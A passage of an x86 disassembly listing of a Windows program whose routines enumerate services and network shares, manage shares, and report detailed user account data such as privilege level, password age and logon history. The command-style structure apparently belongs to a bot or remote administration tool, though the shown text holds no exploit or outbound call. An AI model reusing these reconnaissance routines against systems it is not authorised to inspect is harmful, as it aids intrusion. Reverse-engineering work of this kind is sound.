dd offset loc_418E2D
dd offset loc_418E0A
dd offset loc_418E55
byte_418E96 db 0, 9, 1, 2 ; DATA XREF: sub_418D2A+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_418EA8(int,char *Str,int)
sub_418EA8 proc near ; CODE XREF: sub_401ACD+44D6p
var_38C = dword ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
Dest = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_4CB9C8 ; OpenSCManagerA
push ebx ; int
mov [ebp+var_C], eax
push [ebp+arg_8] ; int
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 14h
loc_418EE0: ; CODE XREF: sub_418EA8+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_4CB994 ; EnumServicesStatusA
test eax, eax
jnz short loc_418F1A
call ds:dword_427094 ; RtlGetLastWin32Error
cmp eax, 0EAh
jnz loc_418FCE
loc_418F1A: ; CODE XREF: sub_418EA8+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_418FC5
lea esi, [ebp+var_188]
loc_418F2B: ; CODE XREF: sub_418EA8+117j
mov eax, [esi+8]
dec eax
jz short loc_418F74
dec eax
jz short loc_418F6D
dec eax
jz short loc_418F66
dec eax
jz short loc_418F5F
dec eax
jz short loc_418F58
dec eax
jz short loc_418F51
dec eax
jz short loc_418F4A
push offset aUnknown_0 ; " Unknown"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F4A: ; CODE XREF: sub_418EA8+99j
push offset aPaused ; " Paused"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F51: ; CODE XREF: sub_418EA8+96j
push offset aPausing ; " Pausing"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F58: ; CODE XREF: sub_418EA8+93j
push offset aContinuing ; " Continuing"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F5F: ; CODE XREF: sub_418EA8+90j
push offset aRunning ; " Running"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F66: ; CODE XREF: sub_418EA8+8Dj
push offset aStoping ; " Stoping"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F6D: ; CODE XREF: sub_418EA8+8Aj
push offset aStarting ; " Starting"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F74: ; CODE XREF: sub_418EA8+87j
push offset aStopped ; " Stopped"
loc_418F79: ; CODE XREF: sub_418EA8+A0j
; sub_418EA8+A7j ...
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+Dest]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS_2 ; "%s: %s (%s)"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+var_38C]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_418F2B
loc_418FC5: ; CODE XREF: sub_418EA8+77j
cmp [ebp+var_8], ebx
jnz loc_418EE0
loc_418FCE: ; CODE XREF: sub_418EA8+6Cj
push [ebp+var_C]
call dword_4CB8CC ; CloseServiceHandle
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_418EA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_418FE5(int,char *Str,int)
sub_418FE5 proc near ; CODE XREF: sub_401ACD:loc_406064p
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+Str]
test edi, edi
jz loc_41907F
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_41900E
dec eax
jnz short loc_41905F
push edi
push 0
call sub_4191B8
pop ecx
pop ecx
jmp short loc_41905B
; ---------------------------------------------------------------------------
loc_41900E: ; CODE XREF: sub_418FE5+18j
cmp [ebp+arg_8], 0
jnz short loc_41904D
push 24h ; Val
push edi ; Str
call _strchr
pop ecx
test eax, eax
pop ecx
jnz short loc_41904D
push 57h
pop eax
loc_419025: ; CODE XREF: sub_418FE5+78j
push eax
call sub_4199AC
pop ecx
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset byte_4DB63C
push off_439518[eax*4]
push offset asc_439BC4 ; "-"
push esi ; Dest
call _sprintf
add esp, 14h
jmp short loc_41909F
; ---------------------------------------------------------------------------
loc_41904D: ; CODE XREF: sub_418FE5+2Dj
; sub_418FE5+3Bj
push [ebp+arg_8] ; int
push edi ; Str
push 0 ; int
call sub_41910C
add esp, 0Ch
loc_41905B: ; CODE XREF: sub_418FE5+27j
test eax, eax
jnz short loc_419025
loc_41905F: ; CODE XREF: sub_418FE5+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset byte_4DB63C
push off_43951C[eax*4]
push offset asc_439BA8 ; "-"
push esi ; Dest
call _sprintf
add esp, 10h
jmp short loc_41909F
; ---------------------------------------------------------------------------
loc_41907F: ; CODE XREF: sub_418FE5+Aj
mov eax, [ebp+arg_0]
mov esi, offset byte_4DB63C
lea eax, [eax+eax*2]
push off_439518[eax*4]
push offset asc_439B84 ; "-"
push esi ; Dest
call _sprintf
add esp, 0Ch
loc_41909F: ; CODE XREF: sub_418FE5+66j
; sub_418FE5+98j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_418FE5 endp
; =============== S U B R O U T I N E =======================================
sub_4190A5 proc near ; CODE XREF: sub_41A3C6+245p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_4190B2
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4190B2: ; CODE XREF: sub_4190A5+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, ds:dword_427188
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi ; WideCharToMultiByte
test byte_4DB83C, 1
mov ebp, eax
jnz short loc_4190EF
or byte_4DB83C, 1
lea eax, [ebp+1]
push eax ; unsigned int
call ??2@YAPAXI@Z ; operator new(uint)
pop ecx
mov dword_4DB5DC, eax
loc_4190EF: ; CODE XREF: sub_4190A5+32j
push esi
push esi
push ebp
push dword_4DB5DC
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi ; WideCharToMultiByte
mov eax, dword_4DB5DC
pop edi
pop ebp
pop ebx
pop esi
retn
sub_4190A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41910C(int,char *Str,int)
sub_41910C proc near ; CODE XREF: sub_418FE5+6Ep
; sub_41A6EA+18Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_419177
push [ebp+Str]
mov edi, eax
call sub_419177
push 24h ; Val
mov [ebp+var_20], eax
push [ebp+Str] ; Str
call _strchr
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_419177
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_4CB8C8
pop edi
leave
retn
sub_41910C endp
; =============== S U B R O U T I N E =======================================
sub_419177 proc near ; CODE XREF: sub_41910C+Ap
; sub_41910C+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_419184
pop ebp
retn
; ---------------------------------------------------------------------------
loc_419184: ; CODE XREF: sub_419177+9j
push ebx
push esi
mov esi, ds:dword_4270E8
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi ; MultiByteToWideChar
mov edi, eax
lea eax, [edi+edi+2]
push eax ; unsigned int
call ??2@YAPAXI@Z ; operator new(uint)
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi ; MultiByteToWideChar
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_419177 endp
; =============== S U B R O U T I N E =======================================
sub_4191B8 proc near ; CODE XREF: sub_418FE5+20p
; sub_41A3C6+1BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_419177
push [esp+8+arg_4]
mov esi, eax
call sub_419177
pop ecx
pop ecx
push 0
push eax
push esi
call dword_4CB8A0
pop esi
retn
sub_4191B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4191DB(int,char *Str,int,int)
sub_4191DB proc near ; CODE XREF: sub_401ACD+45AEp
Dest = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_419177
xor esi, esi
mov [ebp+var_C], eax
push esi ; int
mov [ebp+arg_C], esi
push [ebp+arg_8] ; int
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 18h
loc_419214: ; CODE XREF: sub_4191DB+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_4CB918
mov ebx, eax
cmp ebx, esi
jz short loc_419277
cmp ebx, 0EAh
jz short loc_419277
push ebx
push ebx
call sub_4199AC
pop ecx
push eax
lea eax, [ebp+Dest]
push offset asc_439C10 ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 24h
jmp short loc_4192E4
; ---------------------------------------------------------------------------
loc_419277: ; CODE XREF: sub_4191DB+5Dj
; sub_4191DB+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_4192DB
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_419285: ; CODE XREF: sub_4191DB+FCj
push dword ptr [esi+10h]
call dword_4CB8BC ; IsValidSecurityDescriptor
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_41929C
mov eax, offset aNo ; "No"
loc_41929C: ; CODE XREF: sub_4191DB+BAj
push eax
lea eax, [ebp+Dest]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_419285
xor esi, esi
loc_4192DB: ; CODE XREF: sub_4191DB+A2j
push [ebp+var_4]
call dword_4CBA64
loc_4192E4: ; CODE XREF: sub_4191DB+9Aj
cmp ebx, 0EAh
jz loc_419214
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_4191DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4192FC(int,int,int,int,char *Str,int)
sub_4192FC proc near ; CODE XREF: sub_401ACD:loc_4060EDp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
Str = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_4193A1
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_41933E
dec eax
jz short loc_419333
dec eax
jnz short loc_419359
push [ebp+arg_14] ; int
push [ebp+Str] ; Str
push [ebp+arg_C] ; int
push ebx ; int
push edi ; int
call sub_419443
add esp, 14h
jmp short loc_419355
; ---------------------------------------------------------------------------
loc_419333: ; CODE XREF: sub_4192FC+1Dj
push ebx
push edi
call sub_419422
pop ecx
pop ecx
jmp short loc_419355
; ---------------------------------------------------------------------------
loc_41933E: ; CODE XREF: sub_4192FC+1Aj
cmp [ebp+arg_8], edi
jz short loc_419352
push [ebp+arg_8]
push ebx
push edi
call sub_4193C8
add esp, 0Ch
jmp short loc_419355
; ---------------------------------------------------------------------------
loc_419352: ; CODE XREF: sub_4192FC+45j
push 57h
pop eax
loc_419355: ; CODE XREF: sub_4192FC+35j
; sub_4192FC+40j ...
cmp eax, edi
jnz short loc_419379
loc_419359: ; CODE XREF: sub_4192FC+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset byte_4DB840
push off_43951C[eax*4]
push offset asc_439CC8 ; "-"
push esi ; Dest
call _sprintf
add esp, 10h
jmp short loc_4193C1
; ---------------------------------------------------------------------------
loc_419379: ; CODE XREF: sub_4192FC+5Bj
push eax
call sub_4199AC
pop ecx
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset byte_4DB840
push off_439518[eax*4]
push offset asc_439C98 ; "-"
push esi ; Dest
call _sprintf
add esp, 14h
jmp short loc_4193C1
; ---------------------------------------------------------------------------
loc_4193A1: ; CODE XREF: sub_4192FC+Dj
mov eax, [ebp+arg_0]
mov esi, offset byte_4DB840
lea eax, [eax+eax*2]
push off_439518[eax*4]
push offset asc_439C70 ; "-"
push esi ; Dest
call _sprintf
add esp, 0Ch
loc_4193C1: ; CODE XREF: sub_4192FC+7Bj
; sub_4192FC+A3j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4192FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4193C8 proc near ; CODE XREF: sub_4192FC+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_419177
push [ebp+arg_4]
mov edi, eax
call sub_419177
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_419177
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_4CB8AC
pop edi
leave
retn
sub_4193C8 endp
; =============== S U B R O U T I N E =======================================
sub_419422 proc near ; CODE XREF: sub_4192FC+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_419177
push [esp+8+arg_4]
mov esi, eax
call sub_419177
pop ecx
pop ecx
push eax
push esi
call dword_4CB89C
pop esi
retn
sub_419422 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419443(int,int,int,char *Str,int)
sub_419443 proc near ; CODE XREF: sub_4192FC+2Dp
Dest = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
Str = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_419177
push [ebp+arg_4]
mov esi, eax
call sub_419177
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_4CBA2C
test eax, eax
mov [ebp+arg_0], eax
jnz loc_4197EB
mov eax, [ebp+var_4]
test eax, eax
jz loc_419826
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+Dest]
push offset aAccountS ; "Account: %S"
push eax ; Dest
call _sprintf
mov esi, [ebp+arg_10]
mov edi, [ebp+Str]
mov ebx, [ebp+arg_8]
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+0Ch]
lea eax, [ebp+Dest]
push offset aFullNameS ; "Full Name: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+8]
lea eax, [ebp+Dest]
push offset aUserCommentS ; "User Comment: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4]
lea eax, [ebp+Dest]
push offset aCommentS ; "Comment: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
mov eax, [eax+10h]
sub eax, 0
jz short loc_419562
dec eax
jz short loc_41955B
dec eax
jz short loc_419554
mov eax, offset aUnknown ; "Unknown"
jmp short loc_419567
; ---------------------------------------------------------------------------
loc_419554: ; CODE XREF: sub_419443+108j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_419567
; ---------------------------------------------------------------------------
loc_41955B: ; CODE XREF: sub_419443+105j
mov eax, offset aUser_3 ; "User"
jmp short loc_419567
; ---------------------------------------------------------------------------
loc_419562: ; CODE XREF: sub_419443+102j
mov eax, offset aGuest ; "Guest"
loc_419567: ; CODE XREF: sub_419443+10Fj
; sub_419443+116j ...
push eax
lea eax, [ebp+Dest]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+14h]
lea eax, [ebp+Dest]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+1Ch]
lea eax, [ebp+Dest]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+20h]
lea eax, [ebp+Dest]
push offset aParametersS ; "Parameters: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+18h]
lea eax, [ebp+Dest]
push offset aPasswordAgeD ; "Password Age: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+2Ch]
lea eax, [ebp+Dest]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+30h]
lea eax, [ebp+Dest]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+24h]
lea eax, [ebp+Dest]
push offset aLastLogonD ; "Last Logon: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+28h]
lea eax, [ebp+Dest]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+34h]
lea eax, [ebp+Dest]
push offset aLogonServerS ; "Logon Server: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+3Ch]
lea eax, [ebp+Dest]
push offset aWorkstationsS ; "Workstations: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+38h]
lea eax, [ebp+Dest]
push offset aCountryCodeD ; "Country Code: %d"
push eax ; Dest
call _sprintf
push 1 ; int
push esi ; int
lea eax, [ebp+Dest]
push eax ; int
push edi ; Str
push ebx ; int
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4Ch]
lea eax, [ebp+Dest]
push offset aUserSLanguageD ; "User's Language: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+40h]
lea eax, [ebp+Dest]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+44h]
lea eax, [ebp+Dest]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409869
add esp, 20h
pop edi
pop ebx
jmp short loc_419817
; ---------------------------------------------------------------------------
loc_4197EB: ; CODE XREF: sub_419443+35j
push eax
lea eax, [ebp+Dest]
push offset asc_439CE8 ; "-"
push eax ; Dest
call _sprintf
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_10] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_8] ; int
call sub_409869
add esp, 20h
loc_419817: ; CODE XREF: sub_419443+3A6j
cmp [ebp+var_4], 0
jz short loc_419826
push [ebp+var_4]
call dword_4CBA64
loc_419826: ; CODE XREF: sub_419443+40j
; sub_419443+3D8j
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_419443 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41982C(int,char *Str,int,int)
sub_41982C proc near ; CODE XREF: sub_401ACD+463Ap
Dest = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_419177
push esi ; int
mov [ebp+var_14], eax
push [ebp+arg_8] ; int
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 18h
loc_41986B: ; CODE XREF: sub_41982C+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_4CB934
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_4198CC
cmp eax, 0EAh
jz short loc_4198CC
push eax
push eax
call sub_4199AC
pop ecx
push eax
lea eax, [ebp+Dest]
push offset asc_439ED8 ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 24h
jmp short loc_419947
; ---------------------------------------------------------------------------
loc_4198CC: ; CODE XREF: sub_41982C+62j
; sub_41982C+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_41995A
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_419947
loc_4198DE: ; CODE XREF: sub_41982C+EDj
cmp edi, esi
jz short loc_41991D
push dword ptr [edi]
lea eax, [ebp+Dest]
push offset aS_4 ; " %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_4198DE
jmp short loc_419947
; ---------------------------------------------------------------------------
loc_41991D: ; CODE XREF: sub_41982C+B4j
lea eax, [ebp+Dest]
push offset asc_439EA4 ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 1Ch
loc_419947: ; CODE XREF: sub_41982C+9Ej
; sub_41982C+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_41995A
push edi
call dword_4CBA64
xor edi, edi
mov [ebp+var_4], edi
loc_41995A: ; CODE XREF: sub_41982C+A5j
; sub_41982C+120j
cmp [ebp+var_C], 0EAh
jz loc_41986B
cmp edi, esi
jz short loc_419972
push edi
call dword_4CBA64
loc_419972: ; CODE XREF: sub_41982C+13Dj
push [ebp+var_8]
lea eax, [ebp+Dest]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_41982C endp
; =============== S U B R O U T I N E =======================================
sub_4199AC proc near ; CODE XREF: sub_418FE5+41p
; sub_4191DB+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_419A5E
jz loc_419A57
cmp eax, 7Bh
ja short loc_419A23
jz short loc_419A19
cmp eax, 5
jz short loc_419A0F
cmp eax, 8
jz short loc_419A05
cmp eax, 32h
jz short loc_4199FB
cmp eax, 35h
jz short loc_4199F1
cmp eax, 57h
jnz loc_419AAD
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_4199F1: ; CODE XREF: sub_4199AC+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_4199FB: ; CODE XREF: sub_4199AC+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A05: ; CODE XREF: sub_4199AC+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A0F: ; CODE XREF: sub_4199AC+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A19: ; CODE XREF: sub_4199AC+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A23: ; CODE XREF: sub_4199AC+1Aj
sub eax, 7Ch
jz short loc_419A50
sub eax, 7C8h
jz short loc_419A49
dec eax
jz short loc_419A3F
dec eax
jnz short loc_419AAD
